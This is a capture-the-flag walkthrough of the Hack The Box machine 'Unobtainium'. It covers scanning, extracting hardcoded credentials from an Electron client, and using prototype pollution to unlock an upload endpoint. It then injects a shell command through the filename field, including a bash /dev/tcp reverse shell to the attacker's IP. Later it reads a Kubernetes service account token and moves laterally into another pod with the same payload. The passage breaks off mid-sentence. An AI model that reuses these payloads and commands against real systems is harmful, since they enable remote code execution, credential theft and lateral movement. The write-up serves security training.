“Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry’s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.”
██╗ ██╗███████╗███████╗██████╗ ██║ ██║██╔════╝██╔════╝██╔══██╗ ██║ ██║███████╗█████╗ ██████╔╝ ██║ ██║╚════██║██╔══╝ ██╔══██╗ ╚██████╔╝███████║███████╗██║ ██║ ╚═════╝ ╚══════╝╚══════╝╚═╝ ╚═╝
- [root:/git/htb/unobtainium]# nmap -Pn -n –open -sCV 10.10.10.235 (master✱) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 e4:bf:68:42:e5:74:4b:06:58:78:bd:ed:1e:6a:df:66 (RSA) | 256 bd:88:a1:d9:19:a0:12:35:ca:d3:fa:63:76:48:dc:65 (ECDSA) |_ 256 cf:c4:19:25:19:fa:6e:2e:b7:a4:aa:7d:c3:f1:3d:9b (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |http-title: Unobtainium 8443/tcp open ssl/https-alt | fingerprint-strings: | FourOhFourRequest: | HTTP/1.0 403 Forbidden | Cache-Control: no-cache, private | Content-Type: application/json | X-Content-Type-Options: nosniff | X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39 | X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd | Date: Tue, 25 May 2021 06:45:36 GMT | Content-Length: 212 | {“kind”:“Status”,“apiVersion”:“v1”,“metadata”:{},“status”:“Failure”,“message”:“forbidden: User”system:anonymous” cannot get path “/nice ports,/Trinity.txt.bak”“,”reason”:“Forbidden”,“details”:{},“code”:403} | GenericLines: | HTTP/1.1 400 Bad Request | Content-Type: text/plain; charset=utf-8 | Connection: close | Request | GetRequest: | HTTP/1.0 403 Forbidden | Cache-Control: no-cache, private | Content-Type: application/json | X-Content-Type-Options: nosniff | X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39 | X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd | Date: Tue, 25 May 2021 06:45:35 GMT | Content-Length: 185 | {“kind”:“Status”,“apiVersion”:“v1”,“metadata”:{},“status”:“Failure”,“message”:“forbidden: User”system:anonymous” cannot get path “/”“,”reason”:“Forbidden”,“details”:{},“code”:403} | HTTPOptions: | HTTP/1.0 403 Forbidden | Cache-Control: no-cache, private | Content-Type: application/json | X-Content-Type-Options: nosniff | X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39 | X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd | Date: Tue, 25 May 2021 06:45:35 GMT | Content-Length: 189 | {“kind”:“Status”,“apiVersion”:“v1”,“metadata”:{},“status”:“Failure”,“message”:“forbidden: User”system:anonymous” cannot options path “/”“,”reason”:“Forbidden”,“details”:{},“code”:403} |_http-title: Site doesn’t have a title (application/json). | ssl-cert: Subject: commonName=minikube/organizationName=system:masters | Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.10.10.235, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1 | Not valid before: 2021-05-24T06:44:22 |Not valid after: 2022-05-25T06:44:22 |ssl-date: TLS randomness does not represent time | tls-alpn: | h2 | http/1.1 31337/tcp open http Node.js Express framework | http-methods: | Potentially risky methods: PUT DELETE |_http-title: Site doesn’t have a title (application/json; charset=utf-8). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[root:/git/htb/unobtainium]# nmap -p- 10.10.10.235 (master✱) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 2379/tcp open etcd-client 2380/tcp open etcd-server 8443/tcp open https-alt 10250/tcp open unknown 10256/tcp open unknown 31337/tcp open Elite
[root:/git/htb/unobtainium]# nmap -p 2379,2380,10250,10256 -sCV 10.10.10.235 (master✱) PORT STATE SERVICE VERSION 2379/tcp open ssl/etcd-client? | ssl-cert: Subject: commonName=unobtainium | Subject Alternative Name: DNS:localhost, DNS:unobtainium, IP Address:10.10.10.3, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1 | Not valid before: 2021-01-17T07:10:30 |Not valid after: 2022-01-17T07:10:30 |ssl-date: TLS randomness does not represent time | tls-alpn: | h2 | tls-nextprotoneg: | h2 2380/tcp open ssl/etcd-server? | ssl-cert: Subject: commonName=unobtainium | Subject Alternative Name: DNS:localhost, DNS:unobtainium, IP Address:10.10.10.3, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1 | Not valid before: 2021-01-17T07:10:30 |Not valid after: 2022-01-17T07:10:30 |ssl-date: TLS randomness does not represent time | tls-alpn: | h2 | tls-nextprotoneg: | h2 10250/tcp open ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API) |_http-title: Site doesn’t have a title (text/plain; charset=utf-8). | ssl-cert: Subject: commonName=unobtainium@1610865428 | Subject Alternative Name: DNS:unobtainium | Not valid before: 2021-01-17T05:37:08 |_Not valid after: 2022-01-17T05:37:08 |ssl-date: TLS randomness does not represent time | tls-alpn: | h2 | http/1.1 10256/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API) |_http-title: Site doesn’t have a title (text/plain; charset=utf-8).
DIRB: —- Scanning URL: http://10.10.10.235/ —- ==> DIRECTORY: http://10.10.10.235/assets/ ==> DIRECTORY: http://10.10.10.235/downloads/ ==> DIRECTORY: http://10.10.10.235/images/ + http://10.10.10.235/index.html (CODE:200|SIZE:1988) + http://10.10.10.235/server-status (CODE:403|SIZE:277)
NIKTO: + Allowed HTTP Methods: HEAD, GET, POST, OPTIONS
FFUF:
-> https://10.10.10.235:10250/FUZZ attach [Status: 401, Size: 12, Words: 1, Lines: 1] exec [Status: 401, Size: 12, Words: 1, Lines: 1] logs [Status: 301, Size: 41, Words: 3, Lines: 3] metrics [Status: 401, Size: 12, Words: 1, Lines: 1] pods [Status: 401, Size: 12, Words: 1, Lines: 1] run [Status: 401, Size: 12, Words: 1, Lines: 1] stats [Status: 301, Size: 42, Words: 3, Lines: 3]
- Visiting http://10.10.10.235 we are able to download an installation file for the chat program ‘Unobtainium’. Installing and executing the program we find a ‘TODO’-list:
{“ok”:true,“content”:“1. Create administrator zone.. Update node JS API Server.. Add Login functionality.. Complete Get Messages feature.. Complete ToDo feature.. Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json_api/v1. Improve security”}
The first few words indicate that there was probably some kind of authentication before the content was printed. Open up wireshark, capture all outgoing traffic on tun0 interface and then start ‘Unobtainium’ software again. When pressing TODO in the navbar we see a POST request sent to the server - including some credentials.
REQUEST: POST /todo HTTP/1.1 Host: unobtainium.htb:31337 Connection: keep-alive Content-Length: 73 Accept: application/json, text/javascript, /; q=0.01 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/11.2.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate Accept-Language: en-US
{“auth”:{“name”:“felamos”,“password”:“Winter2021”},“filename”:“todo.txt”}
REPLY: HTTP/1.1 200 OK X-Powered-By: Express Content-Type: application/json; charset=utf-8 Content-Length: 293 ETag: W/“125-tNs2+nU0UiQGmLreBy4Pj891aVA” Date: Tue, 25 May 2021 08:24:09 GMT Connection: keep-alive Keep-Alive: timeout=5
{“ok”:true,“content”:“1. Create administrator zone.. Update node JS API Server.. Add Login functionality.. Complete Get Messages feature.. Complete ToDo feature.. Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json_api/v1. Improve security”}
After playing around with the application for a few hours I’ve yet to find anything more of use. I change my approach and try to see if there are anything useful we can extract from the installation files.
Extract the .deb file so we can browse them.
[root:/git/htb/unobtainium]# dpkg –dry-run -i unobtainium_1.0.0_amd64.deb (master✱) (Reading database … 695683 files and directories currently installed.) Preparing to unpack unobtainium_1.0.0_amd64.deb … [root:/git/htb/unobtainium]# dpkg -e unobtainium_1.0.0_amd64.deb [root:/git/htb/unobtainium/DEBIAN]# cat control (master✱) Package: unobtainium Version: 1.0.0 License: ISC Vendor: felamos felamos@unobtainium.htb Architecture: amd64 Maintainer: felamos felamos@unobtainium.htb Installed-Size: 185617 Depends: libgtk-3-0, libnotify4, libnss3, libxss1, libxtst6, xdg-utils, libatspi2.0-0, libuuid1, libappindicator3-1, libsecret-1-0 Section: default Priority: extra Homepage: http://unobtainium.htb author: “0xPThree” description: client [root:…/htb/unobtainium/deb/DEBIAN]# cat postinst (master✱) .. ln -sf ‘/opt/unobtainium/unobtainium’ ‘/usr/bin/unobtainium’
We find user information that we already know, but also that the program is installed in /opt. Enumerate /opt/unobtainium and we find ‘/opt/unobtainium/resources/app.asar’.
Within we can see the credentials that we found earier, but also a set of previously unknown files:
[root:/opt/unobtainium/resources]# cat app.asar HD={“files”:{“index.js”:{“size”:503,“offset”:“0”},“package.json”:{“size”:207,“offset”:“503”},“src”:{“files”:{“get.html”:{“size”:3821,“offset”:“710”},“index.html”:{“size”:3499,“offset”:“4531”},“post.html”:{“size”:3858,“offset”:“8030”},“todo.html”:{“size”:3799,“offset”:“11888”},“js”:{“files”:{“Chart.min.js”:{“size”:173077,“offset”:“15687”},“app.js”:{“size”:584,“offset”:“188764”},“bootstrap.bundle.min.js”:{“size”:80821,“offset”:“189348”},“check.js”:{“size”:431,“offset”:“270169”},“dashboard.js”:{“size”:953,“offset”:“270600”},“feather.min.js”:{“size”:75779,“offset”:“271553”},“get.js”:{“size”:160,“offset”:“347332”},“jquery.min.js”:{“size”:89476,“offset”:“347492”},“todo.js”:{“size”:350,“offset”:“436968”}}},“css”:{“files”:{“bootstrap.min.css”:{“size”:153111,“offset”:“437318”},“dashboard.css”:{“size”:1573,“offset”:“590429”}}}}}}}const {app, BrowserWindow} = require(‘electron’) .. $.ajax({ url: ‘http://unobtainium.htb:31337/todo’, type: ‘post’, dataType:‘json’, contentType:‘application/json’, processData: false, data: JSON.stringify({“auth”: {“name”: “felamos”, “password”: “Winter2021”}, “filename” : “todo.txt”}), success: function(data) { $(“#output”).html(JSON.stringify(data)); } }
- Analyse the content of the new files, starting with the first - index.js.
[root:/git/htb/unobtainium]# curl -X POST –data ‘{“auth”: {“name”: “felamos”, “password”: “Winter2021”}, “filename” : “index.js”}’ -H “Content-Type: application/json” http://unobtainium.htb:31337/todo {“ok”:true,“content”:“var root = require("google-cloudstorage-commands");express = require(‘express’); = require("child_process"); bodyParser = require(‘body-parser’); _ = require(‘lodash’); app = express();fs = require(‘fs’);users = [ ,, ];messages = []; lastId = 1; findUser(auth) { return users.find((u) => u.name === auth.name && u.password === auth.password); } .use(bodyParser.json()); .get(‘/’, (req, res) => { res.send(messages); }); .put(‘/’, (req, res) => { const user = findUser(req.body.auth || {}); if (!user) { res.status(403).send({ok: false, error: ‘Access denied’}); return;}const message = {icon: ’__’,};_.merge(message, req.body.message, {id: lastId++,timestamp: Date.now(),userName: user.name,});messages.push(message);res.send({ok: true});});.delete(‘/’, (req, res) => {const user = findUser(req.body.auth || {});if (!user || !user.canDelete) {res.status(403).send({ok: false, error: ‘Access denied’});return;}messages = messages.filter((m) => m.id !== req.body.messageId);res.send({ok: true});});.post(‘/upload’, (req, res) => {const user = findUser(req.body.auth || {});if (!user || !user.canUpload) {res.status(403).send({ok: false, error: ‘Access denied’});return;}filename = req.body.filename;root.upload("./",filename, true);res.send({ok: true, Uploaded_File: filename});});.post(‘/todo’, (req, res) => {user = findUser(req.body.auth || {});(!user) {.status(403).send({ok: false, error: ‘Access denied’});;}= req.body.filename;testFolder = "/usr/src/app";fs.readdirSync(testFolder).forEach(file => {if (file.indexOf(filename) > -1) {var buffer = fs.readFileSync(filename).toString();res.send({ok: true, content: buffer});}});});.listen(3000);.log(‘Listening on port 3000…’);“}
The code is a mess, beautify it by replacing with new lines. Now we can quickly see two interesting things; a) An admin account that has ‘canUpload: true’, but with a randomized password. b) An /upload endpoint
My guess is that we should give our user ‘canUpload:true’ somehow. From the software we are able to write messages (PUT), this will be our injection point.
ORIGINAL REQUEST: PUT / HTTP/1.1 Host: unobtainium.htb:31337 Connection: keep-alive Content-Length: 76 Accept: application/json, text/javascript, /; q=0.01 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/11.2.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate Accept-Language: en-US
{“auth”:{“name”:“felamos”,“password”:“Winter2021”},“message”:{“text”:“abc”}}
ORIGINAL RESPONSE: HTTP/1.1 200 OK X-Powered-By: Express Content-Type: application/json; charset=utf-8 Content-Length: 11 ETag: W/“b-Ai2R8hgEarLmHKwesT1qcY913ys” Date: Tue, 25 May 2021 10:03:14 GMT Connection: keep-alive Keep-Alive: timeout=5
{“ok”:true}
Googling around about Javascript and nodejs injections I came across Prototype Pollution.
QUOTE: > Let’s take an example, obj[a][b] = value. If an attacker can control a and value, then he can set the value of a to proto > and the property b will be defined for all existing objects of the application with the value value. > The simplest payload to do the same: {“proto”: {“admin”: 1}}
Meaning in our case we could instead of ‘{“text”:“abc”}’ try to send ‘{“proto”: {“canUpload”:true}}’ to enable uploads.
POLLUTED REQUEST: PUT / HTTP/1.1 Host: unobtainium.htb:31337 Connection: keep-alive Content-Length: 96 Accept: application/json, text/javascript, /; q=0.01 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/11.2.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate Accept-Language: en-US
{“auth”:{“name”:“felamos”,“password”:“Winter2021”},“message”:{“proto”: {“canUpload”: true}}}
POLLUTED RESPONSE: HTTP/1.1 200 OK X-Powered-By: Express Content-Type: application/json; charset=utf-8 Content-Length: 11 ETag: W/“b-Ai2R8hgEarLmHKwesT1qcY913ys” Date: Tue, 25 May 2021 12:52:53 GMT Connection: keep-alive Keep-Alive: timeout=5
{“ok”:true}
- We should now be able to POST to http://unobtainium:31337/upload with felamos:Winter2021. We already have the Request form from when getting todo.txt from /todo, so easiest is probably to reuse that.
UPLOAD REQUEST: POST /upload HTTP/1.1 Host: unobtainium.htb:31337 Connection: keep-alive Content-Length: 73 Accept: application/json, text/javascript, /; q=0.01 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/11.2.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate Accept-Language: en-US
{“auth”:{“name”:“felamos”,“password”:“Winter2021”},“filename”:“test”}
UPLOAD RESPONSE: HTTP/1.1 200 OK X-Powered-By: Express Content-Type: application/json; charset=utf-8 Content-Length: 34 ETag: W/“22-fICdI/zK18UFTsKni+1vLp+RWvE” Date: Tue, 25 May 2021 13:53:54 GMT Connection: keep-alive Keep-Alive: timeout=5
{“ok”:true,“Uploaded_File”:“test”}
After being stuck here for many hours trying to find how the upload function works, I found a post about bash variable substitution in JSON. If the function executes we could in theory get command execution directly via the upload function.
Lets test it out with a simple poc first.
cURL POC REQUEST: POST /upload HTTP/1.1 Host: unobtainium.htb:31337 .. {“auth”:{“name”:“felamos”,“password”:“Winter2021”},“filename”:“$(/bin/bash -c ‘curl http://10.10.14.6/test.txt’)”}
cURL POC RESPONSE: HTTP/1.1 200 OK .. {“ok”:true,“Uploaded_File”:“$(/bin/bash -c ‘curl http://10.10.14.6/test.txt’)”}
PYTHON HTTP.SERVER: [root:/git/htb/unobtainium]# python3 -m http.server 80 (master✱) Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) … 10.10.10.235 - - [25/May/2021 15:43:32] “GET /test.txt HTTP/1.1” 200 -
WE GOT CODE EXECUTION!
- Weaponize the PoC to get a reverse shell.
REVERSE REQUEST: POST /upload HTTP/1.1 Host: unobtainium.htb:31337 .. {“auth”:{“name”:“felamos”,“password”:“Winter2021”},“filename”:“$(/bin/bash -c ‘bash -i >& /dev/tcp/10.10.14.6/4488 0>&1’)”}
[root:/git/htb/unobtainium]# nc -lvnp 4488 (master✱) listening on [any] 4488 … connect to [10.10.14.6] from (UNKNOWN) [10.10.10.235] 57590 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@webapp-deployment-5d764566f4-lrpt9:/usr/src/app# id uid=0(root) gid=0(root) groups=0(root)
It seems like we are in a docker hence the root user. Grab user.txt and take a break.
root@webapp-deployment-5d764566f4-lrpt9:/usr/src/app# cat /root/user.txt f7dabc890c1a2249b31d4ef6a1ab5c4d
QUICK USER SHELL: curl -v -X PUT unobtainium.htb:31337 -H “Content-Type: application/json” -d “@user-upload.json” curl -v -X POST unobtainium.htb:31337/upload -H “Content-Type: application/json” -d “@user-reverse.json”
██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████
██████╗ ██████╗ ██████╗ ████████╗ ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝ ██████╔╝██║ ██║██║ ██║ ██║ ██╔══██╗██║ ██║██║ ██║ ██║ ██║ ██║╚██████╔╝╚██████╔╝ ██║ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝
- When enumerating the box manually I came across the file containing the upload function, and within we can clearly see it why our bash variable substitution worked (hint exec()).
<src/app/node_modules/google-cloudstorage-commands# cat index.js const exec = require(‘child_process’).exec const path = require(‘path’) const P = (() => { .. function upload(inputDirectory, bucket, force = false) { return new Promise((yes, no) => { let _path = path.resolve(inputDirectory) let _rn = force ? ‘-r’ : ‘-Rn’ let _cmd = exec(gsutil -m cp ${_rn} -a public-read ${_path} ${bucket}) _cmd.on(‘exit’, (code) => { yes() }) }) }
Trying to set up persistence via ssh public key doesn’t work as we’re in a container or even a kubernetes pod to be exact, identified when we run ‘df’. We need to find a way to break out of here to the actual box in order to get root.
root@webapp-deployment-5d764566f4-h5zhw:/# df Filesystem 1K-blocks Used Available Use% Mounted on overlay 12318856 8388464 3788192 69% / tmpfs 65536 0 65536 0% /dev tmpfs 2015284 0 2015284 0% /sys/fs/cgroup /dev/sda1 12318856 8388464 3788192 69% /root shm 65536 0 65536 0% /dev/shm tmpfs 2015284 12 2015272 1% /run/secrets/kubernetes.io/serviceaccount tmpfs 2015284 0 2015284 0% /proc/acpi tmpfs 2015284 0 2015284 0% /proc/scsi tmpfs 2015284 0 2015284 0% /sys/firmware
root@webapp-deployment-5d764566f4-h5zhw:/# cd /run/secrets/kubernetes.io/serviceaccount/..data <:/run/secrets/kubernetes.io/serviceaccount/..data# cat token eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImRlZmF1bHQtdG9rZW4tZ3YycHEiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGVmYXVsdCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjQwODNiNTAyLWU0ZGMtNGZiMC1iNzU1LTY0ZmU3ZGVkMzcxNSIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.mmkqCtOB3qHPkdybHAJuaLGpQk01UGqecZZO9TfMMeO02PO2CfXoeuRyR1I0BDmyJlxuzuDZdl0k6i0AsQF4DU3Ow_Rm-YZ5cIWDVV3tfuWIA0PvJsmlJqDC4X4OmbOIULLw4i5ckWO_0I35OhlRRLumnaRRrJKFaRnWA1H-zRyAPF3fBGtUuFJecHLNTOaDMyffvBCcblT5z4jjC7V4jKKG05NUNY4UNvvtCiFfevoeTfUzJ4L2dFtkOkHV8k_nC__eJu-CqOvLQlNAWgnJvhNLry_5IVGPxos80R0IC8gOto5bFx0WsSj5av56ff_1UsnDD68IG9uHdinOZC4xvA
An obvious JWT Token.
FIRST PART: [root:/git/htb/unobtainium]# echo eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ | base64 -d {“alg”:“RS256”,“kid”:“JNvob_VDLBvBVEiZBxpzN0oicDjYmhMT-wB5f-obVS8”}
SECOND PART: [root:/git/htb/unobtainium]# echo eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImRlZmF1bHQtdG9rZW4tZ3YycHEiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGVmYXVsdCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjQwODNiNTAyLWU0ZGMtNGZiMC1iNzU1LTY0ZmU3ZGVkMzcxNSIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ | base64 -d {“iss”:“kubernetes/serviceaccount”,“kubernetes.io/serviceaccount/namespace”:“default”,“kubernetes.io/serviceaccount/secret.name”:“default-token-gv2pq”,“kubernetes.io/serviceaccount/service-account.name”:“default”,“kubernetes.io/serviceaccount/service-account.uid”:“4083b502-e4dc-4fb0-b755-64fe7ded3715”,“sub”:“system:serviceaccount:default:default”}
THIRD PART: mmkqCtOB3qHPkdybHAJuaLGpQk01UGqecZZO9TfMMeO02PO2CfXoeuRyR1I0BDmyJlxuzuDZdl0k6i0AsQF4DU3Ow_Rm-YZ5cIWDVV3tfuWIA0PvJsmlJqDC4X4OmbOIULLw4i5ckWO_0I35OhlRRLumnaRRrJKFaRnWA1H-zRyAPF3fBGtUuFJecHLNTOaDMyffvBCcblT5z4jjC7V4jKKG05NUNY4UNvvtCiFfevoeTfUzJ4L2dFtkOkHV8k_nC__eJu-CqOvLQlNAWgnJvhNLry_5IVGPxos80R0IC8gOto5bFx0WsSj5av56ff_1UsnDD68IG9uHdinOZC4xvA
- Enumerate the pod further with deepce.sh and using kubectl.
root@webapp-deployment-5d764566f4-h5zhw:/dev/shm# wget http://10.10.14.2:4499/deepce.sh
We are unable to execute scripts in /dev/shm, probably because the ‘noexec’ option have been specified for that volume, so instead move the file to /tmp and execute it there.
root@webapp-deployment-5d764566f4-h5zhw:/tmp# ./deepce.sh .. ===================================( Enumerating Platform )=================================== [+] Inside Container …….. Yes [+] Container Platform …… kubentes [+] Container tools ……… None [+] User ……………….. root [+] Groups ……………… root .. ==================================( Enumerating Container )=================================== [+] Container ID ………… webapp-deployment-5d764566f4-h5zhw [+] Container Name ………. webapp-deployment-5d764566f4-h5zhw [+] Container IP ………… 172.17.0.10 [+] DNS Server(s) ……….. 10.96.0.10 [+] Host IP …………….. 172.17.0.1 [+] Useful tools installed .. Yes /usr/bin/curl /usr/bin/wget /usr/bin/gcc /bin/hostname /usr/bin/python /usr/bin/python2 /usr/bin/python3 .. ==================================( Enumerating Containers )================================== [+] Attempting ping sweep of 172.17.0.10 /24 (ping) 172.17.0.1 is Up 172.17.0.3 is Up 172.17.0.4 is Up 172.17.0.7 is Up 172.17.0.10 is Up 172.17.0.8 is Up 172.17.0.2 is Up 172.17.0.9 is Up 172.17.0.6 is Up 172.17.0.5 is Up
Not much info to go on, but atleast it confirmed that we’re in a kubernetes platform, and gave us some IPs. Continue the enumeration by downloading/uploading Kubectl.
Download kubectl: [root:/git/htb/unobtainium]# curl -LO “https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl”
Transfer it to the vicitm machine and install it: root@webapp-deployment-5d764566f4-h5zhw:/tmp# wget http://10.10.14.2:4499/kubectl root@webapp-deployment-5d764566f4-h5zhw:/tmp# install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl root@webapp-deployment-5d764566f4-h5zhw:/tmp# kubectl version –client Client Version: version.Info{Major:“1”, Minor:“22”, GitVersion:“v1.22.1”, GitCommit:“632ed300f2c34f6d6d15ca4cef3d3c7073412212”, GitTreeState:“clean”, BuildDate:“2021-08-19T15:45:37Z”, GoVersion:“go1.16.7”, Compiler:“gc”, Platform:“linux/amd64”}
List the namespaces in the environment: root@webapp-deployment-5d764566f4-h5zhw:/tmp# ./kubectl get namespaces ./kubectl get namespaces NAME STATUS AGE default Active 221d dev Active 220d kube-node-lease Active 221d kube-public Active 221d kube-system Active 221d
List the pods in the different namespaces (note only dev is accessible): <566f4-h5zhw:/tmp# ./kubectl get pods -n dev -o wide NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES devnode-deployment-cd86fb5c-6ms8d 1/1 Running 30 220d 172.17.0.6 unobtainium
Gather more information about one of the pods: root@webapp-deployment-5d764566f4-h5zhw:/opt# kubectl describe pod devnode-deployment-cd86fb5c-6ms8d -n dev Name: devnode-deployment-cd86fb5c-6ms8d Namespace: dev Priority: 0 Node: unobtainium/10.10.10.235 Start Time: Sun, 17 Jan 2021 18:16:21 +0000 Labels: app=devnode pod-template-hash=cd86fb5c Annotations:
We can see the location of the image (localhost:5000/node_server), the running port (3000/TCP) and IP address (172.17.0.6). With all this information, we should investigate if it’s possible to create a new, malicious, pod or even move laterally to another pod using Kubernetes API auth module:
root@webapp-deployment-5d764566f4-h5zhw:/tmp# ./kubectl auth can-i exec pods no
- So kubectl is not the way.. maybe we can access the dev-pods some other way. If we curl a dev-pod the response looks very much like our initials curls when probing the front-end.
root@webapp-deployment-5d764566f4-mbprj:/tmp# curl -v http://172.17.0.6:3000 * Rebuilt URL to: http://172.17.0.6:3000/ * Trying 172.17.0.6… * TCP_NODELAY set % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 –:–:– –:–:– –:–:– 0* Connected to 172.17.0.6 (172.17.0.6) port 3000 (#0) > GET / HTTP/1.1 > Host: 172.17.0.6:3000 > User-Agent: curl/7.52.1 > Accept: / > < HTTP/1.1 200 OK < X-Powered-By: Express < Content-Type: application/json; charset=utf-8 < Content-Length: 2 < ETag: W/“2-l9Fw4VUO7kr8CvBlt4zaMCqXZ0w” < Date: Thu, 26 Aug 2021 13:06:28 GMT < Connection: keep-alive < Keep-Alive: timeout=5 < { [2 bytes data] * Curl_http_done: called premature == 0 100 2 100 2 0 0 859 0 –:–:– –:–:– –:–:– 1000 * Connection #0 to host 172.17.0.6 left intact
Maybe we can re-use the same exploit to get access to the dev-pods as well? Upload the cURL data-files (with new reverse port) and attack the dev-pod!
root@webapp-deployment-5d764566f4-mbprj:/usr/src/app# wget http://10.10.14.2:4499/user-upload.json root@webapp-deployment-5d764566f4-mbprj:/usr/src/app# wget http://10.10.14.2:4499/user-reverse.json
root@webapp-deployment-5d764566f4-mbprj:/tmp# curl -v -X PUT 172.17.0.6:3000 -H “Content-Type: application/json” -d “@user-upload.json” .. > PUT / HTTP/1.1 > Host: 172.17.0.6:3000 < HTTP/1.1 200 OK .. {“ok”:true}
root@webapp-deployment-5d764566f4-mbprj:/tmp# curl -v -X POST 172.17.0.6:3000/upload -H “Content-Type: application/json” -d “@user-reverse.json” .. > POST /upload HTTP/1.1 > Host: 172.17.0.6:3000 < HTTP/1.1 200 OK .. {“ok”:true,“Uploaded_File”:“$(/bin/bash -c ‘bash -i >& /dev/tcp/10.10.14.2/4400 0>&1’)”}
[root:/git/htb/unobtainium]# nc -lvnp 4400 (master✱) listening on [any] 4400 … connect to [10.10.14.2] from (UNKNOWN) [10.10.10.235] 41198 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@devnode-deployment-cd86fb5c-6ms8d:/usr/src/app# id && hostname uid=0(root) gid=0(root) groups=0(root) devnode-deployment-cd86fb5c-6ms8d
- We successfully moved laterally and got access to the devnode! Redo our steps with kubectl and see if we can create a malicious pod now.
root@devnode-deployment-cd86fb5c-6ms8d:/tmp# wget http://10.10.14.2:4499/kubectl root@devnode-deployment-cd86fb5c-6ms8d:/tmp# install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl
However, none of the previous steps work:
